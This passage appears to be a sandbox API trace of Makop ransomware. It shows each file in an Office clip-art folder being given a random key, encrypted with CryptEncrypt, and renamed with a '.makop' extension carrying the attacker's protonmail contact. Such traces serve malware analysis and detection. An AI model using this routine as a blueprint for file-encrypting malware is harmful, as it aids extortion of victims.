returned 1 [0145.173] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.173] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.173] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.173] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.174] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x629, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x629, lpOverlapped=0x0) returned 1 [0145.174] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x630, dwBufLen=0x630 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x630) returned 1 [0145.174] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.174] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x630, lpOverlapped=0x0) returned 1 [0145.174] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.175] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.175] SetEndOfFile (hFile=0xf0) returned 1 [0145.188] GetProcessHeap () returned 0x48a0000 [0145.188] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.188] GetProcessHeap () returned 0x48a0000 [0145.188] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.188] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.188] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.191] CloseHandle (hObject=0xf0) returned 1 [0145.191] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe86e3d00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe86e3d00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x8628, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH00780U.BMP", cAlternateFileName="")) returned 1 [0145.191] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP") returned 63 [0145.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.193] GetProcessHeap () returned 0x48a0000 [0145.193] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.193] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.193] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.194] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.200] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.200] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.201] GetProcessHeap () returned 0x48a0000 [0145.201] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.201] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.201] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.201] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.201] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.203] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.204] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.204] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.204] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.204] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.204] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.205] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.205] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8628, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8628, lpOverlapped=0x0) returned 1 [0145.208] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8630, dwBufLen=0x8630 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8630) returned 1 [0145.209] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.209] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8630, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8630, lpOverlapped=0x0) returned 1 [0145.209] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.210] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.210] SetEndOfFile (hFile=0xf0) returned 1 [0145.234] GetProcessHeap () returned 0x48a0000 [0145.234] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.234] GetProcessHeap () returned 0x48a0000 [0145.234] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.235] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.235] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.237] CloseHandle (hObject=0xf0) returned 1 [0145.237] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c100, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45c100, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01035U.BMP", cAlternateFileName="")) returned 1 [0145.237] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP") returned 63 [0145.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.250] GetProcessHeap () returned 0x48a0000 [0145.251] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.251] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.251] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.251] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.251] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.251] GetProcessHeap () returned 0x48a0000 [0145.251] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.251] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.251] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.251] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.258] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.258] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.258] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.259] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.259] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.259] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.259] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.259] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.260] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7e90, lpOverlapped=0x0) returned 1 [0145.262] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7e90, dwBufLen=0x7e90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7e90) returned 1 [0145.262] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.262] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7e90, lpOverlapped=0x0) returned 1 [0145.263] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.263] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.263] SetEndOfFile (hFile=0xf0) returned 1 [0145.276] GetProcessHeap () returned 0x48a0000 [0145.276] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.276] GetProcessHeap () returned 0x48a0000 [0145.276] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.277] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.279] CloseHandle (hObject=0xf0) returned 1 [0145.279] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x211bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01046J.JPG", cAlternateFileName="")) returned 1 [0145.279] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG") returned 63 [0145.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.295] GetProcessHeap () returned 0x48a0000 [0145.295] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.295] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.295] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.296] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0145.302] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.303] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.303] GetProcessHeap () returned 0x48a0000 [0145.303] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.303] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.303] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.303] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.303] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.304] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0145.304] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0145.304] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0145.304] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0145.304] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.305] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.305] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.305] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x211bb, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x211bb, lpOverlapped=0x0) returned 1 [0145.313] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x211c0, dwBufLen=0x211c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x211c0) returned 1 [0145.314] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.315] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x211c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x211c0, lpOverlapped=0x0) returned 1 [0145.317] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.317] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x21294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.317] SetEndOfFile (hFile=0xf0) returned 1 [0145.330] GetProcessHeap () returned 0x48a0000 [0145.330] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0145.330] GetProcessHeap () returned 0x48a0000 [0145.331] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0145.331] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0145.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0145.333] CloseHandle (hObject=0xf0) returned 1 [0145.333] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4a3a00, ftCreationTime.dwHighDateTime=0x1bd50ad, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd4a3a00, ftLastWriteTime.dwHighDateTime=0x1bd50ad, nFileSizeHigh=0x0, nFileSizeLow=0xa202, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01179J.JPG", cAlternateFileName="")) returned 1 [0145.333] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG") returned 63 [0145.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0145.335] GetProcessHeap () returned 0x48a0000 [0145.335] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0145.336] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0145.336] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0145.336] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0145.353] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0145.353] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0145.353] GetProcessHeap () returned 0x48a0000 [0145.353] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0145.353] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0145.354] CryptDestroyKey (hKey=0x48c7128) returned 1 [0145.354] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0145.354] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0145.354] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, 